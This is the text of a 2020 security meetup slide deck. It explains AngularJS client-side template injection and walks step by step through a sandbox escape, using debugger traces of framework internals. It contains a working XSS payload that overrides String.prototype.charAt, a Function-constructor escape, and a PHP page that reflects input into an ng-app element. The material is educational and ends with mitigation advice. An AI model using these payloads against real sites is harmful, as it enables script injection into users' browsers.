[0x7A] - ØxOPOSɆC Mɇɇtuᵽ February 20, 2020
Application Security team @ Farfetch
ruigodinho469@gmail.com
Angular JS framework recap;
XSS in 2 versions of AngularJS.
https://slides.com/bbsteps/xss-in-angular-js/live
Client-side;
Dynamic web apps;
Extends HTML syntax;
<Template></Template>
Directives
Controllers
Scope
Written in HTML;
With extra elements and attributes.
<div ng-app ng-init="qty=1;cost=2">
<b>Invoice:</b>
<div>
Quantity: <input type="number" min="0" ng-model="qty">
</div>
<div>
Costs: <input type="number" min="0" ng-model="cost">
</div>
<div>
<b>Total:</b> {{qty * cost | currency}}
</div>
</div>
Extends HTML with custom attributes.
<div ng-app ng-init="qty=1;cost=2">
<b>Invoice:</b>
<div>
Quantity: <input type="number" min="0" ng-model="qty">
</div>
<div>
Costs: <input type="number" min="0" ng-model="cost">
</div>
<div>
<b>Total:</b> {{qty * cost | currency}}
</div>
</div>
Automatically initializes the application
<div ng-app ng-init="qty=1;cost=2">
<b>Invoice:</b>
<div>
Quantity: <input type="number" min="0" ng-model="qty">
</div>
<div>
Costs: <input type="number" min="0" ng-model="cost">
</div>
<div>
<b>Total:</b> {{qty * cost | currency}}
</div>
</div>
Binds the "view" to the "model".
<div ng-app ng-init="qty=1;cost=2">
<b>Invoice:</b>
<div>
Quantity: <input type="number" min="0" ng-model="qty">
</div>
<div>
Costs: <input type="number" min="0" ng-model="cost">
</div>
<div>
<b>Total:</b> {{qty * cost | currency}}
</div>
</div>
<script>
var app = angular.module('myApp', []);
app.controller('myCtrl', function($scope) {
$scope.qty = 1;
$scope.cost = 2.5;
});
</script>
View
Model
Can be attached to the DOM through the
ng-controller directive;
Defined by a JavaScript function;
Sets up the initial state of the $scope object.
<div ng-controller="myApp">
{{ qty * cost }}
</div>
<script>
var app = angular.module('myApp', []);
app.controller('myCtrl', function($scope) {
$scope.qty = 1;
$scope.cost = 2.5;
});
</script>
{{expression | filter}} markup;
AngularJS replaces the markup with its value (aka the model);
The filter in the expression formats the value to be displayed to the user.
<div ng-app ng-init="qty=1;cost=2">
<b>Invoice:</b>
<div>
Quantity: <input type="number" min="0" ng-model="qty">
</div>
<div>
Costs: <input type="number" min="0" ng-model="cost">
</div>
<div>
<b>Total:</b> {{qty * cost | currency}}
</div>
</div>
Provides context;
Propagates model changes into the view.
A scope property (i.e. scope.$eval()), already attached to it;
Similar to the normal Javascript eval function;
It does not evaluate arbitrary Javascript;
It evaluates AngularJS expressions;
scope.$eval(expression) <=> {{expression}}.
<html>
<body>
<form action="angular1.0.8.php">
<input type="text" size="70" name="q" value="<?php echo htmlspecialchars($_GET['q'], ENT_QUOTES); ?>">
<input type="submit" value="go">
</form>
</body>
</html>
<div ng-app>
<?php
$q = $_GET['q'];
echo htmlspecialchars($q, ENT_QUOTES);
?>
</div>
<div ng-app="" class="ng-scope">
<script>alert(1)</script>
</div>
AngularJS creates a bypass;
Escaping the input is not enough;
Our input is reflected into an HTML element that has AngularJS enabled.
AngularJS apps should not be mixed with server side templating;
User input should not be used to generate templates dynamically.
EMPTY
We are inside a function called getterFn();
code is a variable holding a string with some JavaScript code.
var l, fn, p;
if(s === null || s === undefined) return s;
l=s;
s=((k&&k.hasOwnProperty("alert"))?k:s)["alert"];
if (s && s.then) {
if (!("$$v" in s)) {
p=s;
p.$$v = undefined;
p.then(function(v) {p.$$v=v;});
}
s=s.$$v
}
return s;
The code inside "code" checks if "alert" is a property of "k";
"a" has the property 'b' but not property 'f';
You can access the properties value through dot notation or square brackets.
Function('s', 'k', code) defines a new function, with 's' and 'k' as arguments for the 'code' body;
This is dynamically generated JavaScript code.
fn = Function('s', 'k', code); // s=scope, k=locals
We are now inside a function called _functionCall();
function _functionCall(fn, contextGetter) {
// parse the arguments
var argsFn = [];
if (peekToken().text != ')') {
do {
argsFn.push(expression());
} while (expect(','));
}
consume(')');
// create a function that calls a function
return function(scope, locals){
var args = [],
...
for ( var i = 0; i < argsFn.length; i++) {
args.push(argsFn[i](scope, locals));
}
debugger;
// checking if function exists
var fnPtr = fn(scope, locals, context) || noop;
debugger;
return fnPtr.apply
? fnPtr.apply(context, args)
: fnPtr(args[0], args[1], args[2], args[3], args[4]);
};
}
This function prepares arguments for a function call;
Our expression {{alert(1)}} attempts to call the function "alert()";
"_functionCall()" parses the parentheses of the expression and extracts the arguments (i.e. 1).
function _functionCall(fn, contextGetter) {
// parse the arguments
var argsFn = [];
if (peekToken().text != ')') {
do {
argsFn.push(expression());
} while (expect(','));
}
consume(')');
// create a function that calls a function
return function(scope, locals){
var args = [],
...
for ( var i = 0; i < argsFn.length; i++) {
args.push(argsFn[i](scope, locals));
}
debugger;
// checking if function exists
var fnPtr = fn(scope, locals, context) || noop;
debugger;
return fnPtr.apply
? fnPtr.apply(context, args)
: fnPtr(args[0], args[1], args[2], args[3], args[4]);
};
}
The arguments are then placed in an array named "args".
Below the breakpoint, there's a call to the function fn(scope, locals, context);
The "scope" argument represents the context of the application;
debugger;
// checking if function exists
var fnPtr = fn(scope, locals, context) || noop;
fn() is a function calling another function: getter();
getter() is the result of getterFn() - a function that tries to get the property "alert" of an object.
var getter = getterFn(ident, csp);
fn() tries to get the property "alert" from the object "scope";
debugger;
// checking if function exists
var fnPtr = fn(scope, locals, context) || noop;
If "alert" was on the scope, fnPtr would contain a reference to the alert() function;
fnPtr will have the value of noop -> an empty function that does nothing.
debugger;
// checking if function exists
var fnPtr = fn(scope, locals, context) || noop;
The scope object is just another Javascript object;
It automatically has the constructor property;
This property returns the Object() constructor;
The constructor of the Object() constructor returns the Function() constructor (the highest constructor in JavaScript);
We can create any arbitrary JavaScript function;
We can then call that function by adding a second pair of parentheses.
We successfully escaped from the AngularJS sandbox
The AngularJS internals were changed;
Referencing Function() constructor in the new version is now disallowed;
Restriction applied by a new function called ensureSafeObject().
function ensureSafeObject(obj, fullExpression) {
debugger;
// nifty check if obj is Function that is fast and works across iframes and other contexts
if (obj) {
if (obj.constructor === obj) {
throw $parseMinErr('isecfn',
'Referencing Function in Angular expressions is disallowed! Expression: {0}',
fullExpression);
} else if (// isWindow(obj)
obj.window === obj) {
throw $parseMinErr('isecwindow',
'Referencing the Window in Angular expressions is disallowed! Expression: {0}',
fullExpression);
} else if (// isElement(obj)
obj.children && (obj.nodeName || (obj.prop && obj.attr && obj.find))) {
throw $parseMinErr('isecdom',
'Referencing DOM nodes in Angular expressions is disallowed! Expression: {0}',
fullExpression);
} else if (// block Object so that we can't get hold of dangerous Object.* methods
obj === Object) {
throw $parseMinErr('isecobj',
'Referencing Object in Angular expressions is disallowed! Expression: {0}',
fullExpression);
}
}
return obj;
}
{{'a'.constructor.prototype.charAt='a'.concat; $eval('exploit=1} } };alert(1)//');}}
Lets divide the expression into two parts:
'a'.constructor.prototype.charAt='a'.concat;
$eval('exploit=1} } };alert(1)//').
charAt() is a standard String function that returns the character at the index given as parameter;
But what about the 'a'.constructor.prototype part?
'a'.constructor returns the String() constructor, common to every String object;
'a'.constructor.prototype.charAt lets us reference the function charAt() (inherited by all string objects).
Another standard String function that concatenates strings.
AngularJS uses charAt() internally. What will happen?
lex: function(text) {
this.text = text;
this.index = 0;
this.tokens = [];
// Javascript Lexer. loop over string and extract tokens
debugger;
while (this.index < this.text.length) {
...
}
}
}
A lexer converts a sequence of characters into a sequence of tokens (the first step in a compiler);
The lexer is being called from "ast" (Abstract Syntax Tree) which is then called from "compile".
lex: function(text) {
this.text = text;
this.index = 0;
this.tokens = [];
// Javascript Lexer. loop over string and extract tokens
debugger;
while (this.index < this.text.length) {
...
}
}
}
AngularJS implements a compiler that takes an AngularJS expression and compiles it to real JavaScript.
{{expression}}
Lexer
Parser
More Magic ...
This function has one parameter, called "text";
"text" contains the current AngularJS expression;
lex: function(text) {
this.text = text;
this.index = 0;
this.tokens = [];
// Javascript Lexer. loop over string and extract tokens
debugger;
The while loop iterates over the full length of the text;
It uses text.charAt() to get the next character of the String;
In the end it returns an array of tokens.
while (this.index < this.text.length) {
var ch = this.text.charAt(this.index);
...
}
debugger;
// tokens contains the parsed Javascript tokens. identifiers, operators, ...
return this.tokens;
The first token is the string 'a';
Because it's a fixed string, the Object has the "constant" property equal to "true".
The next token is the dot ('.') between the string and the constructor.
The third token is the constructor;
It is considered an identifier;
All variable names as well as function names are identifiers.
The eighth token is the equal ("=") which is an operator.
The lexical analysis for extracting the tokens was the start of the compilation process;
We will skip the next compilation steps and we will look now at the result of the whole compilation.
{{expression}}
Lexer
Parser
More Magic ...
It contains a string with the compiled JavaScript code.
"use strict";
var fn = function(s, l, a, i) {
var v0, v1, v2, v3, v4, v5, v6, v7, v8, v9 = l && ('\u0024eval' in l),
v10;
v4 = 'a';
if (v4 != null) {
if (!(v4.constructor)) {
v4.constructor = {};
}
v3 = ensureSafeObject(v4.constructor, text);
} else {
v3 = undefined;
}
if (v3 != null) {
if (!(v3.prototype)) {
v3.prototype = {};
}
v1 = v3.prototype;
} else {
v1 = undefined;
}
if (v1 != null) {
v2 = v1.charAt;
} else {
v2 = undefined;
}
if (v1 != null) {
v5 = 'a';
if (v5 != null) {
v0 = v5.concat;
} else {
v0 = undefined;
}
ensureSafeObject(v1.charAt, text);
ensureSafeAssignContext(v1, text);
}
v1.charAt = v0;
v8 = v9 ? l : s;
if (!(v9)) {
if (s) {
v7 = s.$eval;
}
} else {
v7 = l.$eval;
}
if (v7 != null) {
ensureSafeFunction(v7, text);
v10 = 'exploit\u003d1\u007d \u007d \u007d\u003balert\u00281\u0029\u002f\u002f';
ensureSafeObject(v8, text);
v6 = ensureSafeObject(v8.$eval(ensureSafeObject('exploit\u003d1\u007d \u007d \u007d\u003balert\u00281\u0029\u002f\u002f', text)), text);
} else {
v6 = undefined;
}
return v6;
};
return fn;
This code starts like the Angular expression (with the string 'a');
Stores it in the variable 4.
Then it attempts to get the constructor from variable 4;
ensureSafeObject() checks if the constructor is the Function constructor, i.e. this.constructor === self;
Because it's a String constructor, it's considered safe.
After that the constructor is moved into variable 3;
It then checks if it has the property "prototype".
If the constructor (stored in variable 3) contains the property "prototype", the reference to "prototype" is stored in variable 1.
The charAt() property of the String "prototype" is stored in variable 2.
String 'b' is moved into variable 5.
The concat() property of variable 5 is stored in variable 0.
Angular checks if the charAt() property of variable 1 is a safe object;
Because it is just a normal charAt() function, it is considered safe.
Variable 1 itself is checked because we are about to assign something to the String "prototype" in variable 1;
Angular wants to be sure that it is safe to assign something to that object.
We assign the concat() function (in variable 0) to the charAt() function of the String "prototype" (stored in variable 1).
$eval('exploit=1} } };alert(1)//')
$eval, from the "scope" (s) is stored in variable 7.
The $eval() function is validated for safety insurance;
The expression that gets inside $eval() is also checked;
Safety is guaranteed and $eval() will be called which initiates another parsing, compilation and execution of the second expression.
"fnString"
contains the compiled JavaScript code;
It is passed to the Function() constructor;
This will create an actual function (stored in "fn");
In the end "fn" is returned.
debugger;
var fn = (new Function('$filter',
'ensureSafeMemberName',
'ensureSafeObject',
'ensureSafeFunction',
'getStringValue',
'ensureSafeAssignContext',
'ifDefined',
'plus',
'text',
fnString))(
this.$filter,
ensureSafeMemberName,
ensureSafeObject,
ensureSafeFunction,
getStringValue,
ensureSafeAssignContext,
ifDefined,
plusFn,
expression);
...
return fn;
In the Call Stack we can see that we are coming from fn(), an already compiled function;
function ensureSafeObject(obj, fullExpression) {
debugger;
if (obj) {
...
}
}
It looks familiar;
It is "fnString" but in a function form (instead of just a string);
var fn = function(s, l, a, i) {
var v0, v1, v2, v3, v4, v5, v6, v7, v8, v9 = l && ('\u0024eval'in l), v10;
v4 = 'a';
if (v4 != null) {
if (!(v4.constructor)) {
v4.constructor = {};
}
v3 = ensureSafeObject(v4.constructor, text);
} else {
v3 = undefined;
}
if (v3 != null) {
if (!(v3.prototype)) {
v3.prototype = {};
...
}
...
}
...
}
This time further down in the code of the fn() function;
Actually right before we assign and overwrite charAt().
if (v1 != null) {
v5 = 'a';
if (v5 != null) {
v0 = v5.concat;
} else {
v0 = undefined;
}
ensureSafeObject(v1.charAt, text);
ensureSafeAssignContext(v1, text);
The last check before the assignment and the overwriting of charAt().
ensureSafeObject(v1.charAt, text);
ensureSafeAssignContext(v1, text);
}
v1.charAt = v0;
Why are we here again?
We are coming from fn();
And fn() called $eval();
lex: function(text) {
this.text = text;
this.index = 0;
this.tokens = [];
// Javascript Lexer. loop over string and extract tokens
debugger;
v6 = ensureSafeObject(v8.$eval(ensureSafeObject('exploit\u003d1\u007d \u007d \u007d\u003balert\u00281\u0029\u002f\u002f', text)), text);
$eval() is called which initiates another parsing, compilation and execution of the expression inside.
{{expression}}
Lexer
Parser
More Magic ...
the "text" in lex is simply what we have passed to $eval();
We are about to enter again into the while loop that extracts single tokens from this new character sequence.
while (this.index < this.text.length) {
var ch = this.text.charAt(this.index);
...
}
debugger;
// tokens contains the parsed Javascript tokens. identifiers, operators, ...
return this.tokens;
The index starts again at 0;
AngularJS tries to get the first character from "text" using charAt().
while (this.index < this.text.length) {
var ch = this.text.charAt(this.index);
...
}
debugger;
// tokens contains the parsed Javascript tokens. identifiers, operators, ...
return this.tokens;
charAt(0) appends now '0' to the string instead of returning a single character;
"ch" is super long and not a start of a String;
while (this.index < this.text.length) {
var ch = this.text.charAt(this.index);
if (ch === '"' || ch === "'") {
this.readString(ch);
...
}
debugger;
// tokens contains the parsed Javascript tokens. identifiers, operators, ...
return this.tokens;
It's obviously not a number.
while (this.index < this.text.length) {
var ch = this.text.charAt(this.index);
...
else if (this.isNumber(ch) || ch === '.' && this.isNumber(this.peek())) {
...
}
debugger;
// tokens contains the parsed Javascript tokens. identifiers, operators, ...
return this.tokens;
isIdent() thinks that "ch" is now an identifier;
Only variables and functions names are identifiers;
Identifiers usually
do not contain special characters, such as: "=", "{", "}" ...
while (this.index < this.text.length) {
var ch = this.text.charAt(this.index);
...
else if (this.isIdent(ch)) {
this.readIdent();
...
}
debugger;
// tokens contains the parsed Javascript tokens. identifiers, operators, ...
return this.tokens;
If we continue now to the end of the loop and look at the tokens, we can see that there's only one token;
An identifier with our whole string.
The next breakpoint hits the end of compilation;
There we can have a look at the resulting JavaScript code.
"use strict";
var fn = function(s, l, a, i) {
var v5, v6 = l && ('exploit\u003d1\u007d \u007d \u007d\u003balert\u00281\u0029\u002f\u002f' in l);
if (!(v6)) {
if (s) {
v5 = s.exploit = 1
}
}
};
alert(1) //;}}else{v5=l.exploit=1} } };alert(1)//;}return v5;};fn.assign=function(s,v,l){var v0,v1,v2,v3,v4=l&&('exploit\u003d1\u007d \u007d \u007d\u003balert\u00281\u0029\u002f\u002f' in l);v3=v4?l:s;if(!(v4)){if(s){v2=s.exploit=1} } };alert(1)//;}}else{v2=l.exploit=1} } };alert(1)//;}if(v3!=null){v1=v;ensureSafeObject(v3.exploit=1} } };alert(1)//,text);ensureSafeAssignContext(v3,text);v0=v3.exploit=1} } };alert(1)//=v1;}return v0;};return fn;
The second part of the exploit is now on the JavaScript code;
It's embedded as a scope property since all expressions are evaluated against the scope object;
Because AngularJS thought that we had an identifier on our expression, it placed that identifier in the compiled code when checking if the scope object has such a property;
This blows up because the identifier has non-valid characters.
v5 = s.exploit = 1
}
}
};
debugger;
alert(1) //;
The last breakpoint is set inside the compiled code, right before the alert() function;
When we hit continue, an alert pops out.
v5 = s.exploit = 1
}
}
};
debugger;
alert(1) //;
We overrode the charAt() function that is shared by string objects;
This will break how Angular evaluates expressions;
Allowing us to inject bad characters as an identifier in the compiled code;
Which will then break out of the sandbox and execute arbitrary JavaScript code.
Gareth Heyes (@garethheyes) - XSS without HTML: Client-Side Template Injection with AngularJS
Mario Heiderich @0x6d6172696f (https://cure53.de/)
LiveOverflow Angular XSS Youtube videos
https://angularjs.org/
https://www.similartech.com/technologies/angular-js